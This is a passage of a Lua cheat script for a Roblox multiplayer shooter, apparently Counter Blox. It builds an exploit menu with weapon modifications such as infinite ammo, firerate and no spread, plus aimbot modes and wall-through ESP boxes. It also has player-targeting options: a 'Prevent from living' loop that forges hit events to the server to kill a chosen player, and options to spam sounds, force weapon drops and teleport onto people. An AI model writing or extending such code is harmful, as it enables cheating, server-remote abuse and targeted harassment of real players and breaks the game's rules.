4289local WeaponMods = UI:CreateWindow("Weapon Modifications", Vector2.new(450, 308), Vector2.new(1180, 40))
4290
4291starting_debounce = false
4292for i,v in pairs(Weapons.Types) do
4293 local BulletOverride = false
4294 local tab = WeaponMods:CreateTab(v)
4295 local FR = tab:AddLocalTab("Firerate")
4296 FR:AddSlider("Firerate Multiplier", 5, 1, function(value)
4297 if starting_debounce then
4298 for i,v in pairs(Weapons[v]) do
4299 local Weapon = Weapons.Path[v]
4300 local Old = Weapons.Old[v]
4301 local Value = Weapon:FindFirstChild("FireRate")
4302 local OldValue = Old:FindFirstChild("FireRate")
4303 if Value and value then
4304 Value.Value = OldValue.Value / value
4305 elseif Value then
4306 Value.Value = OldValue.Value
4307 end
4308 end
4309 end
4310 end, 0.1)
4311
4312 local RT = tab:AddLocalTab("Reload Time")
4313 RT:AddSlider("Reduce Reload Time", 5, 1, function(value)
4314 if starting_debounce then
4315 for i,v in pairs(Weapons[v]) do
4316 local Weapon = Weapons.Path[v]
4317 local Old = Weapons.Old[v]
4318 local Value = Weapon:FindFirstChild("ReloadTime")
4319 local OldValue = Old:FindFirstChild("ReloadTime")
4320 if Value then
4321 Value.Value = OldValue.Value / value
4322 elseif Value then
4323 Value.Value = OldValue.Value
4324 end
4325 end
4326 end
4327 end, 0.1)
4328
4329 local IA = tab:AddLocalTab("Infinite Ammo")
4330 IA:AddToggle("Infinite Ammo", false, function(value)
4331 if starting_debounce then
4332 for i,v in pairs(Weapons[v]) do
4333 local Weapon = Weapons.Path[v]
4334 local Old = Weapons.Old[v]
4335 local Value1 = Weapon:FindFirstChild("StoredAmmo")
4336 local OldValue1 = Old:FindFirstChild("StoredAmmo")
4337 local Value2 = Weapon:FindFirstChild("Ammo")
4338 local OldValue2 = Old:FindFirstChild("Ammo")
4339 if value then
4340 if Value1 then
4341 Value1.Value = 9e12
4342 end
4343 if Value2 then
4344 Value2.Value = 9e9
4345 end
4346 else
4347 if Value1 then
4348 Value1.Value = OldValue1.Value
4349 end
4350 if Value2 then
4351 Value2.Value = OldValue2.Value
4352 end
4353 end
4354 end
4355 end
4356 end)
4357
4358 local FA = tab:AddLocalTab("Force Auto")
4359 FA:AddToggle("Force Auto", false, function(value)
4360 if starting_debounce then
4361 for i,v in pairs(Weapons[v]) do
4362 local Weapon = Weapons.Path[v]
4363 local Value = Weapon:FindFirstChild("Auto")
4364 if Value then
4365 Value.Value = value
4366 end
4367 end
4368 end
4369 end)
4370
4371 local RT = tab:AddLocalTab("Force Shotgun")
4372 RT:AddToggle("Enable Bullet Override", false, function(value)
4373 if starting_debounce then
4374 BulletOverride = value
4375 if not value then
4376 for i,v in pairs(Weapons[v]) do
4377 local Weapon = Weapons.Path[v]
4378 local Old = Weapons.Old[v]
4379 local Value = Weapon:FindFirstChild("Bullets")
4380 local OldValue = Old:FindFirstChild("Bullets")
4381 if Value then
4382 Value.Value = OldValue.Value
4383 end
4384 end
4385 end
4386 end
4387 end)
4388
4389 RT:AddSlider("Bullets to shoot", 100, 1, function(value)
4390 if starting_debounce then
4391 for i,v in pairs(Weapons[v]) do
4392 local Weapon = Weapons.Path[v]
4393 local Old = Weapons.Old[v]
4394 local Value = Weapon:FindFirstChild("Bullets")
4395 local OldValue = Old:FindFirstChild("Bullets")
4396 if Value and BulletOverride and Value:FindFirstChild("Value") then
4397 Value.Value = value
4398 else
4399 Value.Value = OldValue.Value
4400 end
4401 end
4402 end
4403 end)
4404
4405 local IE = tab:AddLocalTab("Instant Equip")
4406 IE:AddToggle("Instant Equip", false, function(value)
4407 if starting_debounce then
4408 for i,v in pairs(Weapons[v]) do
4409 local Weapon = Weapons.Path[v]
4410 local Old = Weapons.Old[v]
4411 local Value = Weapon:FindFirstChild("EquipTime")
4412 local OldValue = Old:FindFirstChild("EquipTime")
4413 if Value and value then
4414 Value.Value = 0
4415 elseif Value then
4416 Value.Value = OldValue.Value
4417 end
4418 end
4419 end
4420 end)
4421
4422 local RT = tab:AddLocalTab("RCS and Spread")
4423 RT:AddSlider("Reduce Spread", 1, 0, function(value)
4424 if starting_debounce then
4425 for i,v in pairs(Weapons[v]) do
4426 local Weapon = Weapons.Path[v]
4427 local Old = Weapons.Old[v]
4428 local Value = Weapon:FindFirstChild("Spread")
4429 local OldValue = Old:FindFirstChild("Spread")
4430 if Value then
4431 Value.Value = OldValue.Value * (1-value)
4432 for _,children in pairs(Value:GetChildren()) do
4433 children.Value = OldValue[children.Name].Value * (1-value)
4434 end
4435 end
4436 end
4437 end
4438 end, 0.01)
4439
4440 RT:AddSlider("Reduce Recoil", 1, 0, function(value)
4441 if starting_debounce then
4442 for i,v in pairs(Weapons[v]) do
4443 Storage[v] = (1-value)
4444 end
4445 end
4446 end, 0.01)
4447end
4448
4449starting_debounce = true
4450
4451function AddOutfit(Id, Name)
4452 local Frame = Instance.new("Frame")
4453 local ImageLabel = Instance.new("ImageLabel")
4454 local TextLabel = Instance.new("TextLabel")
4455
4456 Frame.Parent = OBack
4457 Frame.BackgroundColor3 = Color3.new(1, 1, 1)
4458 Frame.BackgroundTransparency = 1
4459 Frame.Size = UDim2.new(0, 175, 0, 200)
4460
4461 ImageLabel.Parent = Frame
4462 ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
4463 ImageLabel.BackgroundTransparency = 1
4464 ImageLabel.BorderSizePixel = 0
4465 ImageLabel.Position = UDim2.new(0.0971428454, 0, 0.0650000051, 0)
4466 ImageLabel.Size = UDim2.new(0.800000012, 0, 0.800000012, 0)
4467 ImageLabel.SizeConstraint = Enum.SizeConstraint.RelativeXX
4468 ImageLabel.Image = "rbxthumb://type=Outfit&id="..Id.."&w=150&h=150"
4469
4470 TextLabel.Parent = Frame
4471 TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
4472 TextLabel.BackgroundTransparency = 1
4473 TextLabel.Position = UDim2.new(0, 0, 1, 0)
4474 TextLabel.Size = UDim2.new(1, 0, -0.25, 0)
4475 TextLabel.Font = Enum.Font.Code
4476 TextLabel.Text = Name
4477 TextLabel.TextColor3 = Color3.new(1, 1, 1)
4478 TextLabel.TextSize = 18
4479 TextLabel.TextStrokeTransparency = 0
4480end
4481
4482function addToContextMenu(text, callback, func)
4483 local TextButton = Instance.new("TextButton")
4484 TextButton.Parent = bruh
4485 TextButton.BackgroundColor3 = UI.colors.tabselected
4486 TextButton.BorderColor3 = UI.colors.outline
4487 TextButton.Size = UDim2.new(0, 200, 0, 25)
4488 TextButton.AutoButtonColor = false
4489 TextButton.Font = Enum.Font.Code
4490 TextButton.Text = text
4491 TextButton.TextColor3 = Color3.new(1, 1, 1)
4492 TextButton.TextSize = 14
4493 TextButton.TextStrokeTransparency = 0
4494 TextButton.ZIndex = 70
4495
4496 bruh:GetPropertyChangedSignal("Visible"):connect(function()
4497 if bruh.Visible and func then
4498 func(ClickedName, TextButton)
4499 end
4500 end)
4501
4502 TextButton.MouseButton1Down:Connect(function()
4503 callback(ClickedName)
4504 end)
4505
4506 TextButton.MouseEnter:Connect(function()
4507 TextButton.BackgroundColor3 = UI.colors.theme
4508 end)
4509
4510 TextButton.MouseLeave:Connect(function()
4511 TextButton.BackgroundColor3 = UI.colors.tabselected
4512 end)
4513end
4514
4515function getSite()
4516 local SpawnPoints = workspace.Map.SpawnPoints
4517 local HRPPos = Local.Player.Character.HumanoidRootPart.Position
4518 if GetDistanceSq(HRPPos, SpawnPoints.C4Plant.Position) <
4519 GetDistanceSq(HRPPos, SpawnPoints.C4Plant2.Position) then
4520 return "B"
4521 else
4522 return "A"
4523 end
4524end
4525
4526Services.UserInputService.InputBegan:connect(function(input)
4527 if input.UserInputType == Enum.UserInputType.MouseButton1 then
4528 bruh.Visible = false
4529 end
4530 if input.KeyCode == Enum.KeyCode.Space then
4531 repeat
4532 wait(1)
4533 Storage.AutohopHit = math.random() < Settings.AutohopHitrate/100
4534 until not Services.UserInputService:IsKeyDown(Enum.KeyCode.Space) or Storage.AutohopHit == false
4535 end
4536end)
4537
4538Local.Mouse.Button1Down:connect(function()
4539 local Character = Local.Player.Character
4540 if isAlive(Local.Player) and Character.EquippedTool.Value == "R8" and Character:FindFirstChild("Gun") and Settings.InstaRev then
4541 Local.Game.firebullet(true)
4542 end
4543end)
4544
4545function AddSkin(v, s)
4546 local Client = Local.PlayerGui.Client
4547 local Color
4548 local Rarity
4549 if Client.Rarities:FindFirstChild(s) then
4550 Rarity = Client.Rarities[s].Value
4551 Color = Client.Colors[Rarity].Value
4552 else
4553 Rarity = "UNKNOWN"
4554 Color = Color3.fromRGB(132, 129, 122)
4555 end
4556
4557 local Template = Instance.new("ImageButton")
4558 local UIListLayout_4 = Instance.new("UIListLayout")
4559 local Rarity_2 = Instance.new("TextLabel")
4560 local Status_2 = Instance.new("TextLabel")
4561 local Team_2 = Instance.new("TextLabel")
4562 local Username_2 = Instance.new("TextLabel")
4563
4564 Template.Name = "Template"
4565 Template.BackgroundColor3 = UI.colors.theme
4566 Template.BorderSizePixel = 0
4567 Template.LayoutOrder = Order[Rarity]
4568 Template.BackgroundTransparency = 1
4569 Template.Size = UDim2.new(1, 0, 0, 20)
4570 Template.ImageTransparency = 1
4571 Template.AutoButtonColor = false
4572 Template.Parent = SBack
4573
4574 UIListLayout_4.Parent = Template
4575 UIListLayout_4.FillDirection = Enum.FillDirection.Horizontal
4576 UIListLayout_4.SortOrder = Enum.SortOrder.LayoutOrder
4577
4578 Status_2.Name = "Using"
4579 Status_2.Parent = Template
4580 Status_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4581 Status_2.BackgroundTransparency = 1
4582 Status_2.BorderColor3 = Color3.new(0, 0, 0)
4583 Status_2.BorderSizePixel = 0
4584 Status_2.LayoutOrder = 4
4585 Status_2.Size = UDim2.new(0.333, 0, 1, 0)
4586 Status_2.Font = Enum.Font.SourceSans
4587 Status_2.Text = "false"
4588 Status_2.TextColor3 = Color3.new(1, 1, 1)
4589 Status_2.TextSize = 14
4590
4591 Rarity_2.Name = "Rarity"
4592 Rarity_2.Parent = Template
4593 Rarity_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4594 Rarity_2.BackgroundTransparency = 1
4595 Rarity_2.BorderColor3 = Color3.new(0, 0, 0)
4596 Rarity_2.BorderSizePixel = 0
4597 Rarity_2.LayoutOrder = 3
4598 Rarity_2.Size = UDim2.new(0.333, 0, 1, 0)
4599 Rarity_2.Font = Enum.Font.SourceSans
4600 Rarity_2.Text = Rarity
4601 Rarity_2.TextColor3 = Color3.new(1, 1, 1)
4602 Rarity_2.TextSize = 14
4603
4604 Team_2.Name = "Skin"
4605 Team_2.Parent = Template
4606 Team_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4607 Team_2.BackgroundTransparency = 1
4608 Team_2.LayoutOrder = 2
4609 Team_2.BorderColor3 = Color3.new(0, 0, 0)
4610 Team_2.BorderSizePixel = 0
4611 Team_2.Size = UDim2.new(0.333, 0, 1, 0)
4612 Team_2.Font = Enum.Font.SourceSans
4613 Team_2.Text = s
4614 Team_2.TextColor3 = Color
4615 Team_2.TextSize = 14
4616
4617 SkinScroll.CanvasSize = UDim2.new(0,0,0,SBackList.AbsoluteContentSize.Y)
4618
4619 Template.MouseButton1Click:Connect(function()
4620 for i,v in pairs(SBack:GetChildren()) do
4621 if v:IsA("ImageButton") then
4622 if v.BackgroundColor3 ~= Color3.fromRGB(112, 111, 211) then
4623 v.BackgroundTransparency = 1
4624 end
4625 end
4626 end
4627 if Template.BackgroundColor3 == Color3.fromRGB(112, 111, 211) then
4628 Template.BackgroundTransparency = 1
4629 Template.BackgroundColor3 = UI.colors.theme
4630 Status_2.Text = "false"
4631 local weapon = string.split(s, "_")
4632 FESkins[weapon[1]] = nil
4633 SkinClicked = nil
4634 return
4635 end
4636 Template.BackgroundTransparency = 0
4637 Template.BackgroundColor3 = UI.colors.theme
4638 if SkinClicked == s then
4639 Template.BackgroundColor3 = Color3.fromRGB(112, 111, 211)
4640 local weapon = string.split(s, "_")
4641 if FESkins[weapon[1]] then
4642 FESkins[weapon[1]][2].BackgroundTransparency = 1
4643 FESkins[weapon[1]][2].BackgroundColor3 = UI.colors.theme
4644 FESkins[weapon[1]][2].Using.Text = "false"
4645 end
4646 FESkins[weapon[1]] = {v.Name, Template, weapon[2], Color}
4647 Status_2.Text = "true"
4648 end
4649 SkinClicked = s
4650 end)
4651
4652 table.insert(PlayerListInfo[v.UserId].Skins, Template)
4653end
4654
4655function AddPlayer(v)
4656
4657 local thumbnail, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size100x100)
4658 local bust, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size100x100)
4659 local headshot, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size100x100)
4660
4661 local Template = Instance.new("ImageButton")
4662 local UIListLayout_4 = Instance.new("UIListLayout")
4663 local Age_2 = Instance.new("TextLabel")
4664 local Status_2 = Instance.new("TextLabel")
4665 local Team_2 = Instance.new("TextLabel")
4666 local Username_2 = Instance.new("TextLabel")
4667
4668 local pictures = {
4669 thumbnail, bust, headshot
4670 }
4671
4672 local AC = v.AccountAge
4673 Template.Name = "Template"
4674 Template.Parent = Back
4675 Template.BackgroundColor3 = UI.colors.theme
4676 Template.BorderSizePixel = 0
4677 Template.LayoutOrder = ((v:WaitForChild("Status").Team.Value == "T") and 0) or 1 -- Terrorists go first, then cts
4678 Template.BackgroundTransparency = 1
4679 Template.Size = UDim2.new(1, 0, 0, 20)
4680 Template.ImageTransparency = 1
4681 Template.AutoButtonColor = false
4682
4683 UIListLayout_4.Parent = Template
4684 UIListLayout_4.FillDirection = Enum.FillDirection.Horizontal
4685 UIListLayout_4.SortOrder = Enum.SortOrder.LayoutOrder
4686
4687 Age_2.Name = "Age"
4688 Age_2.Parent = Template
4689 Age_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4690 Age_2.BackgroundTransparency = 1
4691 Age_2.BorderColor3 = Color3.new(0, 0, 0)
4692 Age_2.BorderSizePixel = 0
4693 Age_2.LayoutOrder = 3
4694 Age_2.Size = UDim2.new(0.200000003, 0, 1, 0)
4695 Age_2.Font = Enum.Font.SourceSans
4696 Age_2.Text = AC.." days"
4697 Age_2.TextColor3 = Color3.new(1, 1, 1)
4698 Age_2.TextSize = 14
4699
4700 Status_2.Name = "Status"
4701 Status_2.Parent = Template
4702 Status_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4703 Status_2.BackgroundTransparency = 1
4704 Status_2.BorderColor3 = Color3.new(0, 0, 0)
4705 Status_2.BorderSizePixel = 0
4706 Status_2.LayoutOrder = 2
4707 Status_2.Size = UDim2.new(0.200000003, 0, 1, 0)
4708 Status_2.Font = Enum.Font.SourceSans
4709 Status_2.Text = "Auto"
4710 Status_2.TextColor3 = Color3.new(1, 1, 1)
4711 Status_2.TextSize = 14
4712
4713 Team_2.Name = "Team"
4714 Team_2.Parent = Template
4715 Team_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4716 Team_2.BackgroundTransparency = 1
4717 Team_2.BorderColor3 = Color3.new(0, 0, 0)
4718 Team_2.BorderSizePixel = 0
4719 Team_2.Size = UDim2.new(0.300000012, 0, 1, 0)
4720 Team_2.Font = Enum.Font.SourceSans
4721 Team_2.Text = v.Team.Name
4722 Team_2.TextColor3 = v.Team.TeamColor.Color
4723 Team_2.TextSize = 14
4724
4725 Username_2.Name = "Username"
4726 Username_2.Parent = Template
4727 Username_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
4728 Username_2.BackgroundTransparency = 1
4729 Username_2.BorderColor3 = Color3.new(0, 0, 0)
4730 Username_2.BorderSizePixel = 0
4731 Username_2.LayoutOrder = 1
4732 Username_2.Size = UDim2.new(0.300000012, 0, 1, 0)
4733 Username_2.Font = Enum.Font.SourceSans
4734 Username_2.Text = v.Name
4735 Username_2.TextColor3 = Color3.new(1, 1, 1)
4736 Username_2.TextSize = 14
4737
4738 SFrame.CanvasSize = UDim2.new(0,0,0,UIListLayout_3.AbsoluteContentSize.Y)
4739
4740 PlayerListInfo[v.UserId].Object = Template
4741
4742 v:GetPropertyChangedSignal("Team"):connect(function()
4743 for i,v in pairs(PlayerListInfo[v.UserId].Skins) do
4744 v:Destroy()
4745 end
4746 doSkins(v, false)
4747 Template.LayoutOrder = ((v.Status.Team.Value == "T") and 0) or 1
4748 Team_2.Text = v.Team.Name
4749 Team_2.TextColor3 = v.Team.TeamColor.Color
4750 end)
4751
4752 local function selected()
4753 local count = 1
4754 for i,v in pairs(Pictures.content:GetChildren()) do
4755 if v:IsA("ImageLabel") then
4756 v.Image = pictures[count]
4757 count = count + 1
4758 end
4759 end
4760 for i,v in pairs(Back:GetChildren()) do
4761 if v:IsA("ImageButton") then
4762 v.BackgroundTransparency = 1
4763 end
4764 end
4765 Template.BackgroundTransparency = 0
4766 Name.label.Text = "Name: "..v.Name
4767 UID.label.Text = "UserID: "..v.UserId
4768 RGroup.label.Text = "Is in ROLVe Group: "..tostring(v:IsInGroup(2613928))
4769 Funds.label.Text = "Credits: "..v.SkinFolder.Funds.Value
4770 Tier.label.Text = "Current Battlepass Tier: "..v.Tiers.Value
4771 LOM.label.Text = "Legit-o-meter: "..((v.Tiers.Value*9) + v.AccountAge*.3)/10000
4772 local floor = math.floor
4773 local deg = math.deg
4774 repeat
4775 wait()
4776 IAlive.label.Text = "Is Alive: "..tostring(v.Character ~= nil)
4777 Cash.label.Text = "Cash: "..v.Cash.Value
4778 local pos = v.CameraCF.Value.p
4779 local x, y, z = floor(pos.x), floor(pos.y), floor(pos.z)
4780 Pos.label.Text = "Position: ("..x..", "..y..", "..z..")"
4781 local angles = v.CameraCF.Value.lookVector
4782 local rx, ry, rz = floor(deg(angles.x)), floor(deg(angles.y)), floor(deg(angles.z))
4783 Ang.label.Text = "Angles: ("..rx..", "..ry..", "..rz..")"
4784 until ClickedName.UserId ~= v.UserId
4785 end
4786
4787 Template.MouseButton2Click:Connect(function()
4788 bruh.Position = UDim2.new(0, Local.Mouse.X, 0, Local.Mouse.Y)
4789 ClickedName = v
4790 bruh.Visible = true
4791 selected()
4792 end)
4793
4794 Template.MouseButton1Click:Connect(function()
4795 ClickedName = v
4796 selected()
4797 end)
4798end
4799
4800addToContextMenu("Aimbot Rage", function(v)
4801 PlayerListInfo[v.UserId].Status = "Rage"
4802 PlayerListInfo[v.UserId].Object.Status.Text = "Rage"
4803 PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,0,0)
4804end)
4805
4806addToContextMenu("Aimbot Auto", function(v)
4807 PlayerListInfo[v.UserId].Status = "Auto"
4808 PlayerListInfo[v.UserId].Object.Status.Text = "Auto"
4809 PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,1,1)
4810end)
4811
4812addToContextMenu("Aimbot Legit", function(v)
4813 PlayerListInfo[v.UserId].Status = "Legit"
4814 PlayerListInfo[v.UserId].Object.Status.Text = "Legit"
4815 PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(1,1,0)
4816end)
4817
4818addToContextMenu("Aimbot Friend", function(v)
4819 PlayerListInfo[v.UserId].Status = "Friend"
4820 PlayerListInfo[v.UserId].Object.Status.Text = "Friend"
4821 PlayerListInfo[v.UserId].Object.Status.TextColor3 = Color3.new(0,1,0)
4822end)
4823
4824addToContextMenu("Prevent from living", function(v)
4825 if PlayerListInfo[v.UserId].Kill then
4826 PlayerListInfo[v.UserId].Kill:disconnect()
4827 PlayerListInfo[v.UserId].Kill = nil
4828 return
4829 end
4830
4831 PlayerListInfo[v.UserId].Kill = S:connect(function()
4832 if isAlive(v) and isAlive(Local.Player) then
4833 for i = 1,100 do
4834 local Arguments = {
4835 [1] = v.Character.Head,
4836 [2] = v.Character.Head.Position,
4837 [3] = "Karambit",
4838 [4] = math.huge,
4839 [5] = Local.Player.Character.Gun,
4840 [8] = 999,
4841 [10] = true,
4842 [11] = Local.Camera.CFrame.p,
4843 [12] = workspace.DistributedTime.Value,
4844 [13] = Vector3.new(),
4845 }
4846 Events.HitPart:FireServer(unpack(Arguments))
4847 end
4848 end
4849 end)
4850end, function(v, t)
4851 if PlayerListInfo[v.UserId].Kill then
4852 t.Text = "Allow to live"
4853 else
4854 t.Text = "Prevent from living"
4855 end
4856end)
4857
4858addToContextMenu("Spam character sounds", function(v)
4859 PlayerListInfo[v.UserId].Sounds = not PlayerListInfo[v.UserId].Sounds or true
4860 local function applyHook(c)
4861 c:WaitForChild("EquippedTool"):GetPropertyChangedSignal("Value"):connect(function()
4862 if PlayerListInfo[v.UserId].Sounds then
4863 for i,v in pairs(v.Character:GetDescendants()) do
4864 if v:isA("Sound") then
4865 v.Looped = true
4866 v.Playing = true
4867 end
4868 end
4869 end
4870 end)
4871 end
4872 if PlayerListInfo[v.UserId].Sounds then
4873 v.CharacterAdded:connect(function(c)
4874 applyHook(c)
4875 end)
4876 if isAlive(v) then
4877 applyHook(v.Character)
4878 end
4879 end
4880end, function(v, t)
4881 if PlayerListInfo[v.UserId].Sounds then
4882 t.Text = "Stop spamming sounds"
4883 else
4884 t.Text = "Spam character sounds"
4885 end
4886end)
4887
4888addToContextMenu("Spam sounds to them only", function(v)
4889 if PlayerListInfo[v.UserId].Whizz then
4890 PlayerListInfo[v.UserId].Whizz:disconnect()
4891 PlayerListInfo[v.UserId].Whizz = nil
4892 return
4893 end
4894
4895 PlayerListInfo[v.UserId].Whizz = S:connect(function()
4896 Whizz(v)
4897 end)
4898end, function(v, t)
4899 if PlayerListInfo[v.UserId].Whizz then
4900 t.Text = "Stop spamming sounds"
4901 else
4902 t.Text = "Spam sounds to them only"
4903 end
4904end)
4905
4906addToContextMenu("Make them vomit weapons", function(v)
4907 if not PlayerListInfo[v.UserId].Drop then
4908 PlayerListInfo[v.UserId].Drop = true
4909
4910 while PlayerListInfo[v.UserId].Drop do
4911 for i,w in pairs(Weapons.Path:GetChildren()) do
4912 if w:IsA("Folder") then
4913 wait()
4914 DropGun(w, v.CameraCF.Value, nil)
4915 end
4916 end
4917 end
4918 else
4919 PlayerListInfo[v.UserId].Drop = false
4920 end
4921end, function(v, t)
4922 if PlayerListInfo[v.UserId].Drop then
4923 t.Text = "Stop dropping weapons"
4924 else
4925 t.Text = "Make them vomit weapons"
4926 end
4927end)
4928
4929addToContextMenu("Stand on head", function(v)
4930 local function disconnect()
4931 if PlayerListInfo[v.UserId].Stand then
4932 PlayerListInfo[v.UserId].Stand:disconnect()
4933 PlayerListInfo[v.UserId].Stand = nil
4934 return
4935 end
4936 end
4937 disconnect()
4938
4939 PlayerListInfo[v.UserId].Stand = S:connect(function()
4940 if isAlive(Local.Player) and isAlive(v) then
4941 Local.Player.Character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
4942 Local.Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 6, 0)
4943 if v.Character.Humanoid.Health == 0 then
4944 disconnect()
4945 end
4946 if Local.Player.Character.Humanoid.Jump == true then
4947 disconnect()
4948 end
4949 end
4950 end)
4951end, function(v, t)
4952 if PlayerListInfo[v.UserId].Stand then
4953 t.Text = "Stop standing on them"
4954 else
4955 t.Text = "Stand on head"
4956 end
4957end)
4958
4959addToContextMenu("Teleport to", function(v)
4960 if isAlive(Local.Player) and isAlive(v) then
4961 Local.Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame
4962 end
4963end)
4964
4965
4966UI.base.DisplayOrder = 8
4967
4968function leavePlayer(v)
4969 if PlayerListInfo[v.UserId] then
4970 if PlayerListInfo[v.UserId].Kill then
4971 PlayerListInfo[v.UserId].Kill:disconnect()
4972 PlayerListInfo[v.UserId].Kill = nil
4973 end
4974
4975 if PlayerListInfo[v.UserId].Whizz then
4976 PlayerListInfo[v.UserId].Whizz:disconnect()
4977 PlayerListInfo[v.UserId].Whizz = nil
4978 end
4979
4980 for i,v in pairs(PlayerListInfo[v.UserId].Skins) do
4981 v:Destroy()
4982 end
4983
4984 PlayerListInfo[v.UserId].Object:Destroy()
4985 end
4986 if SpectateEntries[v.Name] then
4987 SpectateEntries[v.Name]:Destroy()
4988 SpectateEntries[v.Name] = nil
4989 end
4990end
4991
4992Local.Player:WaitForChild("DamageLogs").ChildAdded:Connect(function(hit)
4993 local DMG = hit:WaitForChild("DMG")
4994 local lastdmg = 0
4995 local function HitHook()
4996 OnHit(hit.Name, DMG.Value-lastdmg)
4997 lastdmg = DMG.Value
4998 if Settings.Killsay then
4999 if Services.Players[hit.Name].Status.Alive.Value then
5000 Services.Players[hit.Name].Status.Alive:GetPropertyChangedSignal("Value"):Wait()
5001 end
5002 Chat(Settings.Chat2:gsub("{}", hit.Name))
5003 end
5004 end
5005 HitHook()
5006 DMG:GetPropertyChangedSignal("Value"):Connect(function()
5007 HitHook()
5008 end)
5009end)
5010
5011function doSkins(v, added)
5012 local team = v:WaitForChild("Status"):WaitForChild("Team").Value
5013 if team == "Spectator" then return end
5014 local SkinF = v:WaitForChild("SkinFolder"):WaitForChild(team.."Folder")
5015 local function doAdd(s)
5016 if s.Value ~= "Stock" and s.Value:len() > 0 and s.Name ~= "Glove" then
5017 AddSkin(v, s.Name.."_"..s.Value)
5018 end
5019 end
5020 if added then
5021 for i,s in pairs(SkinF:GetChildren()) do
5022 doAdd(s)
5023 end
5024 else
5025 SkinF.ChildAdded:connect(function(s)
5026 doAdd(s)
5027 end)
5028 end
5029end
5030
5031function createDot()
5032 local d = Drawing.new("Circle")
5033 d.NumSides = 15
5034 d.Radius = 5
5035 d.Filled = true
5036 d.Color = Color3.new(1, 1, 1)
5037 return d
5038end
5039
5040function createText(v)
5041 local d = Drawing.new("Text")
5042 d.Text = v.Name
5043 d.Size = 14
5044 d.Center = true
5045 d.Outline = true
5046 d.Color = Color3.new(1, 1, 1)
5047 return d
5048end
5049
5050local function create_line()
5051 local Line = Drawing.new("Line")
5052 Line.Thickness = 1
5053 Line.Transparency = 1
5054 return Line
5055end
5056
5057local function create_text()
5058 local name = Drawing.new("Text")
5059 name.Size = 14
5060 name.Center = false
5061 name.Outline = true
5062 name.Transparency = 1
5063 return name
5064end
5065
5066
5067function newPlayer(v, added)
5068 spawn(function()
5069 AddPlayer(v)
5070 end)
5071 local PlayerEntry = Top:Clone()
5072 PlayerEntry.Visible = false
5073 PlayerEntry.Name = v.Name
5074 PlayerEntry.Spec.Text = v.Name
5075 PlayerEntry.Parent = SpecF
5076 SpectateEntries[v.Name] = PlayerEntry
5077 PlayerListInfo[v.UserId] = {}
5078 PlayerListInfo[v.UserId].Skins = {}
5079 PlayerListInfo[v.UserId].Status = "Auto"
5080 PlayerListInfo[v.UserId].SpectatorDot = createDot()
5081 PlayerListInfo[v.UserId].SpectatorText = createText(v)
5082 v:WaitForChild("Status"):WaitForChild("Alive")
5083
5084 local tracer = create_line()
5085 local name = create_text()
5086 local weapon = create_text()
5087 local bomb = create_text()
5088 local up = create_line()
5089 local down = create_line()
5090 local left = create_line()
5091 local right = create_line()
5092
5093 local function disable()
5094 tracer.Visible = false
5095 name.Visible = false
5096 weapon.Visible = false
5097 up.Visible = false
5098 down.Visible = false
5099 left.Visible = false
5100 right.Visible = false
5101 bomb.Visible = false
5102 end
5103
5104 local player = v
5105
5106 PlayerListInfo[v.UserId].DrawingAPI = S:connect(function()
5107 if player and player.Team and player.Team ~= Local.Player.Team and player.Character and player.Character:FindFirstChildOfClass("Humanoid") and player.Character.Humanoid.Health > 0 then
5108 local allCorners = {}
5109 for _,v in pairs(player.Character:GetChildren()) do
5110 if v:isA("BasePart") then
5111 local a = AimbotFunctions.getCorners(v.CFrame, v.Size)
5112 for _,v in pairs(a) do
5113 table.insert(allCorners, v)
5114 end
5115 end
5116 end
5117
5118 local xMin = Local.Camera.ViewportSize.X
5119 local yMin = Local.Camera.ViewportSize.Y
5120 local xMax = 0
5121 local yMax = 0
5122
5123 for i,v in pairs(allCorners) do
5124 local pos, ons = Local.Camera:WorldToViewportPoint(v)
5125 if not ons then
5126 return disable()
5127 end
5128 if pos.X > xMax then
5129 xMax = pos.X
5130 end
5131 if pos.X < xMin then
5132 xMin = pos.X
5133 end
5134 if pos.Y > yMax then
5135 yMax = pos.Y
5136 end
5137 if pos.Y < yMin then
5138 yMin = pos.Y
5139 end
5140 end
5141
5142 local info = Vector2.new(xMax + 3, yMin)
5143
5144 if (Settings.Boxes.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Boxes.Enemies.Enabled and v.Team ~= Local.Player.Team) then
5145 local Color = (Settings.Boxes.Allies.Color and v.Team == Local.Player.Team) or Settings.Boxes.Enemies.Color
5146 local Transparency = 1-((Settings.Boxes.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Boxes.Enemies.Transparency)
5147 up.Visible = true
5148 down.Visible = true
5149 left.Visible = true
5150 right.Visible = true
5151 tracer.Visible = true
5152 up.From = Vector2.new(xMin, yMin)
5153 up.To = Vector2.new(xMax, yMin)
5154 down.From = Vector2.new(xMin, yMax)
5155 down.To = Vector2.new(xMax, yMax)
5156 left.From = Vector2.new(xMin, yMin)
5157 left.To = Vector2.new(xMin, yMax)
5158 right.From = Vector2.new(xMax, yMin)
5159 right.To = Vector2.new(xMax, yMax)
5160 up.Color = Color
5161 down.Color = Color
5162 left.Color = Color
5163 right.Color = Color
5164 up.Transparency = Transparency
5165 down.Transparency = Transparency
5166 left.Transparency = Transparency
5167 right.Transparency = Transparency
5168 else
